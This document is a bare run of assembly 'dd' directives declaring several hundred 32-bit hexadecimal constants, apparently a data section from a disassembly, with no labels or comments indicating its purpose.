dd 2009E0E1h, 0DBB0BFEh, 2418EFCBh, 8DF9E57Dh, 0AE16EB4Dh
dd 44157F07h, 0EB87F6C5h, 6A7312DFh, 2AB831BFh, 0BA3D6CDh
dd 0D328D45Fh, 27F1F4B3h, 0B0B4E962h, 59633D9Eh, 0CE662B7Eh
dd 0BD8CD8Ah, 0B941CD4Ah, 0C413E7E2h, 0D5834C89h, 7B5B6F8h
dd 1C7813F7h, 23E40420h, 1DD79282h, 504679D2h, 4BD890Ch
dd 62AC59C0h, 0DAA26597h, 804C2A35h, 0FBD06C3Ah, 1217BD55h
dd 0A4F462B3h, 0C0CB7D2Fh, 807FB3Ah, 0F332C1F5h, 7C82640Ch
dd 0A34BBE35h, 8E9F8918h, 8F207050h, 0CD0ADD9Ch, 289EC47Ch
dd 4435AC76h, 976B1F00h, 0A6DA8054h, 0D17BE4Eh, 6A17170Fh
dd 3EEE7C76h, 0D179649Ah, 242F29Bh, 35ED1180h, 0ECD1A682h
dd 3C03039Bh, 0AC2233D2h, 66AEB88Ch, 901584AFh, 4CC99A9Dh
dd 957A18E1h, 0C7E1F9A2h, 0A59EE2FEh, 1D0A2ADAh, 18438BE1h
dd 0D7CF6C5Ch, 0AB9FBEEDh, 3B6F8306h, 0AB52D45Ah, 0AE3F51BDh
dd 3DE42BFDh, 8BD67056h, 4D75CD12h, 0AAE23A9Bh, 0F6D4BE1Dh
dd 2253F599h, 5578B631h, 8DC79E71h, 775DB49Ah, 0DD3669FAh
dd 4E506D64h, 313EB134h
dd 590032D3h, 0C4AD0C3Eh, 0EC356D4Bh, 74A8913h, 0E9C3B14Ah
dd 4E1284D2h, 626FCE57h, 9032E52Ch, 1A3589EEh, 0CF40D0CFh
dd 0BF07A095h, 5E83C501h, 455185E4h, 0CBE72869h, 2FB7AB22h
dd 5512F6Eh, 3AEDD092h, 55C2782Dh, 63CFEF70h, 0EE0368B8h
dd 0F11149A0h, 0ADF8A434h, 71C00AE5h, 8F278802h, 0F326176Eh
dd 0FB4BF799h, 9DCD6D9Dh, 0CEE66BA7h, 0F9D3CA42h, 0A339D13Fh
dd 0A54792F9h, 0D5DA1B94h, 86D01B6Fh, 64F1F520h, 0CA4A97D8h
dd 0B210A6B9h, 0B4CA29ACh, 0CFF6AC6Ah, 57A5CF63h, 31E5D20h
dd 0E7C1C682h, 8A50C62Ch, 9FB0374Ch, 0CF115C1Ah, 18C876E5h
dd 0C63332B8h, 394C6A51h, 87D73F66h, 687E9A01h, 7D81AF97h
dd 7B166E7Dh, 0B9B15358h, 16602321h, 0EA18CC6h, 1E5EC16Dh
dd 7305C1E9h, 0AE866193h, 2C3D4D22h, 0F0B236E2h, 0A4C14098h
dd 78DE91F7h, 610DEC00h, 0B0FDCFC8h, 0AD605534h, 824DAEE0h
dd 20512EB0h, 6989D155h, 2727CDDBh, 4FBB5C2Fh, 0C4A2FF26h
dd 134F45F9h, 2A013A50h, 1EC4EBA3h, 54A859DCh, 138C3FF7h
dd 82F0BC2Bh, 4AC7D98Fh, 4867634h, 592F441Bh, 549846D9h
dd 0E735717Eh, 0C2F8E8A0h, 0B55C89BCh, 7E3E97D8h, 32692F1Eh
dd 3A6F75DFh, 552B7329h, 1B967689h, 98E7D293h, 1058B63Dh
dd 259B612Bh, 0BC6611F5h, 0FCC6F0F0h, 83BD1AC0h, 70E19807h
dd 82126BF4h, 75733873h, 0E521D08Fh, 26E3FC00h, 6D66B240h
dd 0EE9EAD47h, 0EEA020EDh, 0F7FBB32Bh, 0C21D916Dh, 92E15047h
dd 2673A70Bh, 0FA83E08Ah, 0C45442BAh, 0AE0E2A7Ah, 41901733h
dd 7EA437FFh, 4415A65Ah, 0EA0604E6h, 3540D51Bh, 24EA1931h
dd 3295AFF8h, 2A6ED720h, 2A8B7417h, 35F71FEBh, 0EB4DD30Bh
dd 816AA966h, 63BA3A2Dh, 4013D685h, 0F1E7C942h, 0F2FDB6A2h
dd 1ABF5879h, 0B96F269h, 244267B0h, 22EEDD8Ah, 0A431318h
dd 591DD627h, 0E655007Ah, 0B5C62D0Ch, 0F4529F4Bh, 10FFF7A8h
dd 6632EFh, 432E1DD3h, 0E16D3AD1h, 88D0B70Dh, 915BBB4Bh
dd 0C0BAAC4Bh, 72CFE929h, 0A7116A59h, 483CE8EFh, 7F1D2548h
dd 899D9F83h, 7B6AC207h, 0DE320CA2h, 584A0440h, 78064A1Dh
dd 0FB64C5C5h, 7DB44756h, 2BB3F205h, 3035AED2h, 22B90DF9h
dd 311A01DAh, 3B49FC48h, 5C5A78CEh, 0D6492A6Dh, 7E6BA9E4h
dd 0E3E3FFC2h, 101F996h, 6D34E2BFh, 32E4C4FAh, 0CA29612Eh
dd 684058BAh, 720D86E8h, 0D1CC81C7h, 0A50BB73h, 22F37561h
dd 8D7D1C2h, 2F6FBB93h, 0D950C57Ch, 0DFC11014h, 0B2A50BA7h
dd 0ED8E1C50h, 0CB953336h, 82D7F53Ch, 6553AD33h, 0FCFEC57h
dd 94BD5438h, 69FAB1C8h, 8851478Bh, 5DA15428h, 514B7C87h
dd 548D9D3Ch, 66D7F0EDh, 43DF6D4Ch, 6402046Ah, 0B6281273h
dd 391D5AE4h, 3F9F1CD3h, 33357094h, 6491F283h, 57C9CF93h
dd 0BAAC2B93h, 69B12A9Eh, 21DD83E1h, 5AAB0617h, 4F0B6C1Eh
dd 309B549Dh, 5EEC6425h, 0D6CDCD92h, 0A17DF3F5h, 47E5D41Fh
dd 6C01908Ch, 63FFEB9h, 7DCB40D6h, 0A74E1A7Eh, 36F8D0BCh
dd 55A72B19h, 0F4A0D226h, 46234B9Bh, 82EF21B8h, 0FCE79B9Fh
dd 6D5731E8h, 45C6DA50h, 6A487E3h, 8947D1D6h, 0A88083Ch
dd 68C8C2D9h, 1A260246h, 668FA888h, 7411468Fh, 4DF5D90Ah
dd 933DC12h, 224141A4h, 732F12CDh, 45EEE99h, 1E2395Fh
dd 7CA3D24Fh, 0F534CF3Ah, 0FF509765h, 297C2ADBh, 6973887Fh
dd 22E39DD8h, 33CA384h, 0D994F94Dh, 0F7A0339Bh, 7CA4B582h
dd 0FBA6530Fh, 45D70720h, 3E6FA5E3h, 9E8B8527h, 8933AAFFh
dd 5604E684h, 0BCB586Eh, 9C2518B9h, 0D31D012h, 343F8733h
dd 0CCA84FCFh, 0FA7B207Bh, 4818CA0Bh, 0FAB94D41h, 0EB20D89h
dd 45B458DDh, 0D8512722h, 93ADC467h, 26A3299Bh, 0B322CC49h
dd 0E72B6266h, 0B20BB00Ah, 0E7B91785h, 1BECF4DBh, 7C106DF2h
dd 779B5ADFh, 6922FD45h, 0EB5D9C9Ah, 0D59CF73Ch, 45FE4156h
dd 871704A8h, 400CE2Ch, 2035368h, 0E8613141h, 9ECF454Ch
dd 53B26E74h, 0BA9D89C4h, 5645403Dh, 5158EBDDh, 0C06D82C7h
dd 0E70797E2h, 90A87CD1h, 0AC030A46h, 39819B6h, 0A1713AD6h
dd 2C540939h, 372F8EE9h, 0CCA86BBh, 29DCCDC1h, 0D6ADA22Ah
dd 39DD3775h, 75D9A481h, 33270B0Ch, 245E5D4Dh, 0BA4F321Ch
dd 292B495Dh, 41183AC9h, 1391BB30h, 91D82BE6h, 1D310A1Ah
dd 0B55E9F0h, 9D9CC8Bh, 6EF3BC4h, 0E1834311h, 0EBD6A975h
dd 8F055885h, 0FD42096Fh, 3AE685BAh, 14000974h, 0F9750388h
dd 7F3653E9h, 5678D7ADh, 1FEE43E1h, 0E3C95A4Eh, 5A5887F6h
dd 1A25089Ah, 62BC3828h, 97601256h, 6B9DC0E9h, 87159635h
dd 860F2452h, 0E2DD4595h, 0CA2675E9h, 7DD3FDD6h, 0DFB36352h
dd 8E2983E3h, 4F298A48h, 0E3A1149Dh, 436F4F24h, 8BB69821h
dd 0ED89DE00h, 398DAB52h, 289F3133h, 0E0611EB3h, 4DCC3160h
dd 0DFFA37B4h, 3A3E5459h, 2DBD2DD5h, 0C9361539h, 9981F14Ah
dd 1F740711h, 3E3D75A5h, 73F65051h, 0D2BB4C22h, 0EC011EE6h
dd 0FD578B03h, 2149EA3Fh, 0D29D8746h, 6C2F1Fh, 67984BE8h
dd 6900DE0Dh, 4FC43DDFh, 0DC64341Ch, 3B0EF46Eh, 9BC877Dh
dd 0E6F52172h, 4465F89Bh, 53D76838h, 164BAE09h, 0FCD49AAAh
dd 0DBB56116h, 8973BD58h, 0DD0F31BEh, 0D01721EDh, 88278EA5h
dd 57E6EB99h, 5C3661Dh, 0A3C04DFEh, 1E7A872Dh, 0D3E4B809h
dd 0A1C790Ch, 0F4FBFC62h, 37B52959h, 90E36E4Dh, 5EB9C50Fh
dd 9AA94025h, 0C8519F1Eh, 0CD1C9BE5h, 0B6326D61h, 52082D15h
dd 7CCD6409h, 83DD8F8Ah, 3F4443FDh, 1B8E057Ch, 0A0D5637Eh
dd 0B0FC90B3h, 0D82EE723h, 568248CDh, 2EA336Eh, 4D3D9F50h
dd 724D7771h, 4823E0D0h, 264B945Ah, 508EF1A9h, 0A38A5A10h
dd 2A6A7571h, 6C344274h, 0C51D7CE4h, 992FA3D8h, 0C9EA2FBEh
dd 8147DDCFh, 0B9D80241h, 0F526B869h, 82DFF6B9h, 0C185974Eh
dd 4503744Bh, 41ECA19Ch, 2DF90160h, 1B5BB72Fh, 4902F6BDh
dd 0A4A9EBB0h, 1C58FACBh, 0BC1726CDh, 90958976h, 647A9358h
dd 0B51BB29Ch, 0C4A1D914h, 0AAF7C263h, 718479FCh, 0C64316D4h
dd 70AFCA65h, 0FE0CEA38h, 0DD7FFA3Fh, 0F6806AC2h, 0DA3DE664h
dd 1DDBC727h, 0B103D42h, 0BE70CE91h, 65BEB9D9h, 0F663F856h
dd 630619D1h, 0AB32A8F9h, 65419716h, 0CA358045h, 0A7B296F3h
dd 529F863Dh, 0AA64F1BBh, 0E3F435BDh, 77F29416h, 335F79B7h
dd 0CF060614h, 0DA06FAC1h, 4F838938h, 5228CF16h, 793B90BFh
dd 0A742B746h, 13BFAD90h, 0E4DAE68Eh, 0B3955C18h, 0EFD1B551h
dd 0FF0670B0h, 1BC5E30Dh, 9E1EC55Bh, 275E5977h, 0EC55F9CDh
dd 0EE0BEF83h, 98775797h, 0CB6740A8h, 962A6514h, 60065EA3h
dd 8578840Dh, 0AF279D16h, 4A028444h, 26E8C247h, 2B447E81h
dd 0D54C06F6h, 2C07AB05h, 2EA81020h, 1864AD83h, 0A4D685C4h
dd 34011AB2h, 0C7A2E513h, 0C9030F6Bh, 0BC240029h, 52C824D9h
dd 8AA01D09h, 0ADC05E46h, 2A5B8BF3h, 6927595Ch, 630B1BFCh
dd 0DC922B83h, 0EAFBFA96h, 734513CAh, 1E2A52CAh, 0E165E758h
dd 0CDF8358Fh, 9E495A43h, 0AF4DF346h, 0E412586Bh, 1F3E911Dh
dd 0EC187CBAh, 2CFA9424h, 7E14EA6Ch, 0C571190Ch, 0A5771B13h
dd 90EF440Ch, 1854A08h, 0D36E13C8h, 753DE41Bh, 460CD752h
dd 0C8CD95FFh, 7EE121D1h, 263E7FAAh, 0C3A2A0E4h, 0E45253E7h
dd 9602C6Fh, 0CF986B2h, 8B42586Bh, 648E3CCBh, 34239B3h
dd 0B755EDA9h, 0EF32155Eh
dd 0D47CE408h, 2CFF6D33h, 0F7DEA3AEh, 0A10A880Dh, 7AF7FD24h
dd 0FCC8CA81h, 850C9439h, 0CB4A7EADh, 8A7CC695h, 2545A5BDh
dd 0A732937Ch, 7A9EAE81h, 3CCE3CBAh, 0F66B3BDBh, 5948580Ch
dd 0FEB0F743h, 63219E37h, 89F7377Eh, 1B5F6572h, 0B64493C2h
dd 119BEC59h, 9905511Fh, 65581437h, 5570E207h, 68104DF4h
dd 0DB58FA5h, 81101D4h, 6CAB961Eh, 0A85926F2h, 6B9DA46Fh
dd 41F0DB0Ch, 603AA05Ah, 0B6E00C38h, 0FBD7A5E6h, 0BB4AAEFh
dd 3CF9F63Ah, 1581349Ah, 48E282B8h, 4223D4D2h, 831AE96Fh
dd 37147669h, 5F0B1E13h, 0A9EBC190h, 3BD8910Ah, 539773FBh
dd 0C8F037CAh, 51CB669Eh, 76AA5967h, 0B6D7964Ah, 9CAE771Fh
dd 0F18DACF2h, 42829FA5h, 0FD10104Bh, 228861B0h, 8BD28F05h
dd 9C691B2Ah, 5DEEB24Dh, 0A4132EC0h, 0CB98482Dh, 4A48343Ch
dd 8A5B4E7Ah, 8EB6BC7Dh, 0D0CD04FDh, 57F4986h, 49D88076h
dd 866A67EEh, 8C5524D3h, 3C1C3D89h, 404465A3h, 5F5C63E8h
dd 37F9621Ah, 9567C871h, 67150D74h, 0D31DCBF1h, 2D93E058h
dd 470ADE0Eh, 0B696B27Fh, 517F9790h, 586024F4h, 0A2BE6D6Fh
dd 0BFE902B3h, 358A29F1h, 0A085771Eh, 3E9FB1E3h, 23403D16h
dd 9A318DF1h, 5593ED52h, 1D37A3FCh, 8804089Fh, 0CE105243h
dd 0C28D0h, 0E02BDCCFh, 0C8B9CFE7h, 759A6858h, 0C6B7C773h
dd 7D91CAC9h, 1C079144h, 0A6328721h, 0E0927AAEh, 0BBD02CE3h
dd 37AA68D8h, 3231B9F2h, 0F16C9DF7h, 3E1C61A4h, 81492016h
dd 1456E563h, 0D1898D6h, 0FCFA28D4h, 0DEDFBC55h, 145BDE51h
dd 9CCF9B56h, 52FDA0E1h, 0FB315CA9h, 0FBBA8D02h, 8A18A3C3h
dd 0EB88F96Ch, 2690CE23h, 0AC564EF1h, 6E7F8A63h, 56CCAFC3h
dd 4E3CEA1Dh, 20DB8BE1h, 0B9DC1407h, 0E326B22Bh, 7DC4DDB3h
dd 1FFF7A42h, 18EB2D74h, 1BE8A743h, 27BF8FC9h, 95A132C1h
dd 39793120h, 2C6C535Ch, 37D8599Fh, 2DAD93DFh, 854A3567h
dd 0A4DED741h, 74C48B60h, 7F87FA09h, 0CC69C233h, 0DB73A066h
dd 748955BFh, 0E775A49Dh, 8A25462Eh, 33106F11h, 0BF0EBD56h
dd 3726D228h, 89D0DD25h, 9F4A39AEh, 0BFB3D14h, 9689AD20h
dd 605CD181h, 2A0243DCh, 0C3CB978h, 0DB5E97EDh, 0BF6E0086h
dd 0AA0E675Fh, 16F30A59h, 4566BC93h, 2F421CC5h, 0F78B48DBh
dd 0B0422B18h, 3A0DFC5Eh, 0FE683C6h, 5709EA89h, 450E4908h
dd 1B148C7Eh, 0A82DDBABh, 5B51C93Eh, 3451FE54h, 45F26D2Eh
dd 0B8897250h, 38B593A5h, 750EE273h, 4D60AD0Eh, 0A3737689h
dd 53A49065h, 7F02A4Ah, 0E1459BC1h, 89C2B861h, 8F951B8Ch
dd 5F6A728Bh, 0B58318FAh, 3BE9D393h, 0E41F1511h, 2687D8A8h
dd 96BB55D1h, 0EFC5204Fh, 0A05708FDh, 4533B835h, 0A75B6B5Fh
dd 0FCD5E3B4h, 0A4BFFB4Ah, 0A8D55E66h, 5976199Eh, 71E36596h
dd 478DA28Fh, 0CD78A0B3h, 4D803BE4h, 0DAAE2B47h, 0FB864C5Fh
dd 60CE11CCh, 177E2BD7h, 90CA85Ah, 331244A4h, 62A1F32Dh
dd 94713FC3h, 0B7FEB909h, 7B14498Fh, 22DA2786h, 6A65F8Bh
dd 815E9BF0h, 315B1B6Bh, 0FC3DC779h, 0A4D7781Eh, 72C19E28h
dd 8EE24D5Dh, 122EED61h, 4C229C0Eh, 12FF197Fh, 0CAF3F844h
dd 0CA61F56h, 0D36186BBh, 0B6F10579h, 59E69DF9h, 1A8C1500h
dd 0F7694186h, 55E681EFh, 0B471E362h, 2529C620h, 0E2472A87h
dd 0F7D58810h, 34CD9204h, 3E586C57h, 8EE4FBE5h, 84C289F5h
dd 0FF6C9522h, 36FE7FE9h, 61C494EFh, 9B2BA954h, 8574F1F0h
dd 20A4760Ch, 5BAD7E8h, 0CFBBA685h, 2FE2A665h, 21D4EEB4h
dd 4C79A539h, 0C003D6BFh, 0C7AEA470h, 7BB102E7h, 0B597496Bh
dd 36A84FD4h, 80D9ED34h, 0F736CF55h, 0BF153703h, 39FE5F5h
dd 0F409A141h, 0C88A96F8h, 5A17A826h, 3986C0C9h, 9EB0F186h
dd 482EF596h, 34C8EDE8h, 0A96D1548h, 2FE153DEh, 0EA68B3h
dd 0A90D9859h, 0E2881086h, 80F2C28Fh, 0D0EE5A5h, 0B76E78A5h
dd 9570D16Ch, 38626068h, 394ED306h, 56591005h, 17E46016h
dd 0CB5571B9h, 0EED72F0Dh, 0A42BA86Eh, 607C5699h, 7D56C2D4h
dd 3661A1DEh, 46F6CA31h, 0E61F15D1h, 22EC937Fh, 1DA9DAh
dd 43E7375Ch, 0AD70CD2Fh, 0D593A1FCh, 0A75E59A8h, 0BB1A21Dh
dd 0A45AA32Fh, 0BBD8A810h, 0D50A367h, 0B41BC529h, 0E24BA145h
dd 8B6F230Ah, 376510FDh, 3B753FFDh, 0B8985F8Ch, 0FA3D2C73h
dd 0AAED08B5h, 3C65DEF6h, 0C7A0B3B6h, 3E221F8Eh, 0D73131D6h
dd 12CD6293h, 7688E49Ch, 336ABD13h, 0FA8A1825h, 1099C242h
dd 0B41D674Bh, 71705DB8h, 0C2B7B0DCh, 0A257B97Ch, 0D5B9C2CCh
dd 84D94CB0h, 1356B67Fh, 1C3A002Bh, 0BBF7CE1Ch, 3B580CF4h
dd 0C802AFC6h, 22F348Ch, 33F49855h, 54DD1F04h, 7DD51933h
dd 0AD64D636h, 2E4162D7h, 377C1B4Ch, 1F41EF5Ah, 2462511Fh
dd 0BF175689h, 0A092735Ch, 77854CB6h, 11FB8DDAh, 48596B62h
dd 0E8BBC411h, 0CEF18CD8h, 0C0B25926h, 5566B6D3h, 0C2167A43h
dd 0A0D138CBh, 0D047B211h, 6CF49A98h, 6AF8F02Ah, 0AD63CE83h
dd 84238AA8h, 104A8D70h, 4848C0C2h, 7D7E42EAh, 0EA90164Eh
dd 9D549861h, 31456515h, 92355241h, 41345C08h, 6040386Dh
dd 0F282306Eh, 61D0E0E9h, 2FC1AFh, 43F68708h, 47F5C889h
dd 1F1AC760h, 4AF50940h, 416B4906h, 2704E8DBh, 0F7BFC599h
dd 0C6970B00h, 8552C93Ch, 82B5BE6Ch, 31B7BC04h, 0FBD3C34h
dd 6D581BFFh, 106604E6h, 5A3BFE65h, 8523E184h, 0B026B8A2h
dd 0B56FCC9Bh, 0BE47A886h, 8810C2C2h, 0AB354F42h, 0B5D871E4h
dd 0BA322794h, 31F91FF5h, 96498BF5h, 0FDD313B9h, 9738B724h
dd 0A2869D3Ch, 7A42219Eh, 27A6180Fh, 42286144h, 0E35F98BBh
dd 21F915Dh, 6B455E5Fh, 5A9D2480h, 0FBA70968h, 2F99C4C3h
dd 415D89D9h, 1F7048B6h, 4F73AA87h, 3F4D6D2Bh, 9E27272Ah
dd 0BA7AD934h, 2540CE50h, 208EC87Bh, 74B0E5A3h, 12F6241h
dd 7F1E842Ah, 45804EBAh, 2119158Ah, 8F8DD28Ch, 0DAA49023h
dd 0C21620ABh, 24B6F2A4h, 0D35035CBh, 0C67A445Ah, 3B7254E3h
dd 195ECD2Fh, 0CCC477Ah, 75443889h, 28D6079Fh, 7A1A0CF6h
dd 0CCA7A180h, 7559CE69h, 8C5E1A4Ah, 0CB385E98h, 0D02B4354h
dd 0AA65CCCDh, 7B281920h, 0C427FF75h, 0DC9DC024h, 1B86D5E2h
dd 0C29AE1C2h, 2CB89DC1h, 73C2B4C7h, 1BEF6FA0h, 0DE18A649h
dd 4D6D6221h, 87C57B7Dh, 0ADAAFD4Ah, 4528E9E1h, 8D940E3Ch
dd 1BD9817Ch, 5985A33Fh, 0A01ABB1Ch, 66E00DBCh, 0C51CC64Ch
dd 771AF8F7h, 0CF2E8FB2h, 0FDA0B60Eh, 0AC851573h, 92744FCBh
dd 3C71A158h, 0FEC8BF66h, 2EDA43D6h, 81365E13h, 1B304473h
dd 998F3D25h, 0C3CDC8A8h, 5881C8ECh, 0AACE096Fh, 0ADA096B2h
dd 0AB10470Bh, 619375FAh, 0B8EEB889h, 7789D48Dh, 551F99A5h
dd 1B5F6203h, 0E4C3D91Bh, 652C3922h, 71FAB710h, 70F380FFh
dd 0F07474C5h, 493CDFFCh, 0E9F64F5Fh, 4347AF91h, 9366F7C6h
dd 5C5DFF81h, 0F55D91B3h, 437EADEAh, 4F1E676Eh, 0B33B6E0Fh
dd 0ACAA2C63h, 0A6A8BAB9h, 0AA7E053Fh, 0A4D63423h, 0C49E7CB7h
dd 0DC5941FAh, 64DA8025h, 19E4AE8Dh, 4067FF22h, 69FAD910h
dd 377C2F09h, 0BB0369EEh, 89403336h, 0FA76FC63h, 97F25DDDh
dd 0D969861Fh, 8DDDE0C0h, 2C16A49Dh, 6CE1420h, 82D78C6Dh
dd 7C1624D8h, 0D8537247h, 3E131846h, 96BB754h, 0CBF190Dh
dd 974527BCh, 3EF0A16h, 51502AB8h, 0D04CEE39h, 0B5F7C956h
dd 3D81B9D1h, 0C20790C1h
dd 20D65E8h, 0DB988259h, 0B89C87D0h, 0CC811B2Ah, 0D223D284h
dd 8B3189E2h, 0A54C1A88h, 0B0A272B9h, 0E7C54046h, 0DB47C9E9h
dd 65E1501h, 0C02408FCh, 8ACDBC87h, 0A8039EB2h, 253988ACh
dd 0BC1FFF12h, 92FB893Bh, 0D29BF9A3h, 0B0ED52Dh, 0E8EE2336h
dd 0F0192AA0h, 4567754Bh, 0E20C59B2h, 0FD26F092h, 8F67390Fh
dd 52FE4C3Ah, 28F90533h, 0B19ED0AEh, 3776CE29h, 4D1F7261h
dd 0B053D968h, 0AF665764h, 9EC45A1Bh, 9EE6DD9Eh, 0FADD89C4h
dd 418752FCh, 0C8467C59h, 7D5CE31Ah, 0C304E1FFh, 69198754h
dd 0E6056E98h, 266537F4h, 0C3902ECBh, 2D3D3DF2h, 2AF50526h
dd 0EF2625FEh, 0F957A144h, 8432ADh, 0A5E214CAh, 0F3BB81A4h
dd 465000C1h, 0FD00867Fh, 62D9F035h, 0D8EC9B2Dh, 0FB87E93Ch
dd 0D074187Ah, 557B2D07h, 0F9CCA102h, 4A72633Eh, 8C2F5860h
dd 0ACC607FDh, 18019F29h, 0E27CD226h, 29D9DD9Fh, 7AB674B6h
dd 0A571DE06h, 0A15B56Ch, 600C4A69h, 472A4886h, 3596B980h
dd 253A4A8Ch, 42A658E6h, 0E2CEEBA5h, 0F0EDC3E9h, 5E43A4B2h
dd 341D8125h, 0BBDBA617h, 0FBA89106h, 0A142112Dh, 45431E24h
dd 37D38887h, 0EFDA05EFh, 0F034AC38h, 6C8B816Dh, 0A1229E0Dh
dd 5708D5C1h, 0F403AB4Bh, 0ED1562FEh, 52E9B2EDh, 8C5CB37Ah
dd 5A23668Eh, 0D2751AFAh, 0D15FD1A4h, 660C4583h, 6CFCA83Dh
dd 81445936h, 6DDD0F47h, 5B884479h, 0E1E04A52h, 9DE1AA2Fh
dd 0BDDC9C6Dh, 6976CFF9h, 53985524h, 95FB1A29h, 5968A1F3h
dd 8606427Eh, 533846CFh, 8A41F114h, 0A02F3ABBh, 1EFB9B01h
dd 0E0852F31h, 53096E0Dh, 80FB8A31h, 53E715Ch, 0F8B59BB2h
dd 9C1E72EFh, 0D7E9A373h, 9D8CD2F5h, 6CBAC11Ch, 903EB63Ah
dd 3348454h, 9DA64D29h, 2609580Fh, 6FD716B4h, 0A8F39EAEh
dd 964ED0FBh, 32E282E3h, 14EDE9ECh, 1C63A3D9h, 0E7BDCD44h
dd 0D3E04DB3h, 1184A477h, 2B56240Bh, 0C6C92056h, 0E5295DBAh
dd 0D7A6B03Ah, 981786C3h, 72CDA22Ch, 0A9961318h, 0C4B7B309h
dd 74089FF1h, 7E9219A8h, 837AC6A1h, 1A1A7E29h, 83DA868Eh
dd 97C2AAA7h, 253646Eh, 26DDD973h, 0E92E1F68h, 5B9AC34Ah
dd 0A0FEFF7Eh, 0F010DCA2h, 0A0194817h, 8FC9EDC5h, 75F6FE92h
dd 8E68E7A1h, 0FF3664B1h, 75DBCA61h, 5DD685D4h, 0C9473616h
dd 4417AEC2h, 89FFE167h, 85A20A6Ah, 0C0554C96h, 93697456h
dd 9F7D91A9h, 0FF733FE7h, 0D74C013Ah, 96CED455h, 560C55E7h
dd 0DC21A5CFh, 0A7762301h, 0E4FC42DBh, 8B051C8Ch, 91CCDEFh
dd 0A79E4CABh, 0D3CAD94Ah, 5BBC7922h, 0EB663B90h, 5DC988CCh
dd 0B267D9B4h, 181A1949h, 0DF250E34h, 0FA6180E0h, 4FDA8630h
dd 5A2A8C7Ch, 22EFD730h, 6D634B30h, 7AD86824h, 4F62224Fh
dd 331EF674h, 0DC71A11Fh, 4889AE91h, 40B02BDFh, 9A423D69h
dd 6E159ACDh, 0D5F0F457h, 0A2A55752h, 9AC02FFh, 385A7545h
dd 92EF4A5Eh, 394FDC6Ah, 0CFE75CBBh, 0EF8E0435h, 0F9EA3D51h
dd 0EF7F8AAEh, 2454FD82h, 14EAABCCh, 0F1BBDC1Ah, 45D25453h
dd 608751F1h, 0AFE1600h, 0A5024B19h, 50E63847h, 5C2BF78Ah
dd 1FD98565h, 44BA25FEh, 0E3B50558h, 98B94D91h, 3CE9F19Ch
dd 0FDBEB683h, 0E610880Fh, 29BE242Bh, 0CB52043Eh, 0D700D8AAh
dd 0B75EBCE9h, 75D47604h, 9B729BDBh, 0F352438h, 1DAA77FEh
dd 0B75F9465h, 0F342DD4Eh, 54013BD3h, 286D434Dh, 14839E7Dh
dd 0CDEB4606h, 0B55D0B81h, 0D9976505h, 0CF93DA53h, 94C2E245h
dd 7768EE20h, 906030E8h, 0CFF84D40h, 0F83F1BFBh, 2A154F38h
dd 508989E3h, 9F771690h, 0AC90CF51h, 0B511D324h, 791A153Eh
dd 522EC0AEh, 65BC77Fh, 7023B200h, 0DB9BB328h, 0C742B5AFh
dd 0A105319Ch, 0F1C93367h, 0AF7C4003h, 747FB42Dh, 19DA5EC5h
dd 1AE22467h, 0C647F518h, 0B82F4B99h, 0FA078414h, 0CBFF25E5h
dd 0C07F4217h, 0B6FE99E4h, 0A2EADBF8h, 0EB2B93F4h, 880AD7Fh
dd 555738ABh, 972660C6h, 0A055BCE9h, 2E9A2004h, 0B1D989DCh
dd 0EB4AEE3Eh, 0CE306DCDh, 6628A122h, 0CB0873A8h, 2B5AF3C8h
dd 0CD8C47B5h, 0F1DA1DACh, 0FDF2CA2Fh, 9BF0C7C9h, 2CC4AF61h
dd 0A1F9F631h, 76764151h, 619BEB90h, 0C877A0A6h, 57F3D29Bh
dd 0B79EB03h, 50AB5B15h, 0C9C11926h, 70854964h, 58DF7166h
dd 7DB8E6FCh, 599A6155h, 0B2A20B96h, 14F1BD25h, 6EBE7068h
dd 2388F7CEh, 0C4F7396Ah, 7D1D2464h, 3B1C3FA9h, 203D3710h
dd 0F3CAB2EDh, 3AA722AFh, 6E642C90h, 4124D398h, 70CA436Dh
dd 159D5DDh, 43736F23h, 0BA411EE8h, 975458h, 27423A06h
dd 24FD346Bh, 0C716F405h, 0D37BCB40h, 0C8FDD74Dh, 7794CDC5h
dd 0A1499A14h, 0CFF343D1h, 41E378DAh, 0B4203154h, 4C84FA6Bh
dd 53EE48F0h, 2DA15CDAh, 1FB6FAE0h, 0D1F0C9A5h, 10928EFAh
dd 6643CF04h, 7B19AC6Ch, 44B50D6h, 0D7C8693h, 26E95EAh
dd 3DAC9EA3h, 91C16D08h, 0C360CE57h, 0E78E304Eh, 3641AAE8h
dd 4C8E401Bh, 97477672h, 4C056ECCh, 0ACC03583h, 3CDA1425h
dd 0DC2ECA09h, 20037FB7h, 79FA33D1h, 41058EADh, 2A0617AAh
dd 19EA8A85h, 6C9A14FAh, 0E02A7AE0h, 0DA24186Eh, 42B77959h
dd 0B7B01F20h, 8DED3B6Dh, 0ED4C74B0h, 587F246Eh, 62522524h
dd 770EE455h, 0FA25E1B8h, 86549662h, 0BF99C89Ah, 0EDDFBD92h
dd 1DFB0480h, 6122F24Dh, 37EDF6B9h, 0FFF3C2BBh, 3AD7F39h
dd 4914354Eh, 0E222B059h, 0B867E202h, 32CC0E34h, 289910B3h
dd 0B4EC60DFh, 70FAB9FAh, 2816A378h, 0BD7842Eh, 80031B6h
dd 7F4BD8F9h, 94457921h, 976D29DBh, 7BA54F3Eh, 6FC25734h
dd 0FB6089D5h, 0CCAD290Dh, 0AE0BD6CFh, 0B92E35DAh, 7525354h
dd 3F28E9D4h, 49C02174h, 486E9F57h, 27BB0CF2h, 0F7E654BCh
dd 71B4DDCEh, 0AA92AD06h, 0CBDC15EDh, 8D23529Ch, 2E8BC481h
dd 0E3A99E59h, 249A55FDh, 0F5DE6774h, 5E4E8406h, 57A7C3D2h
dd 0C4D74019h, 7BD3F5A5h, 0B2AD50E8h, 122A154Fh, 66CC1589h
dd 481EB4BDh, 5A37BEDFh, 0B647A92h, 4959F17Ah, 99EE07Ch
dd 0DCABC95Fh, 5573ACECh, 2CCB2CE1h, 2F21F136h, 1BEAD65Eh
dd 0A5CAD450h, 7ACAB9C9h, 0EE477A8h, 94941AA0h, 0EE57436Fh
dd 0B464688Eh, 4E5C1937h, 0D2F33F0Eh, 9A406921h, 2A5B353Dh
dd 4478E1C2h, 97379240h, 0CD1A7433h, 0BC9832E8h, 0A5907DA2h
dd 74817D6Bh, 37BFAAFAh, 244E200Ch, 0E547B793h, 96870FA3h
dd 0F05CEB9Dh, 0BB4377B4h, 41F5C5E4h, 0D285DE80h, 324682AFh
dd 0A226E2A1h, 0D62F8746h, 760849ABh, 0E244D853h, 0AFB24136h
dd 2FEC0B5Ah, 0C1A42005h, 9CAAD529h, 36756303h, 84C6D609h
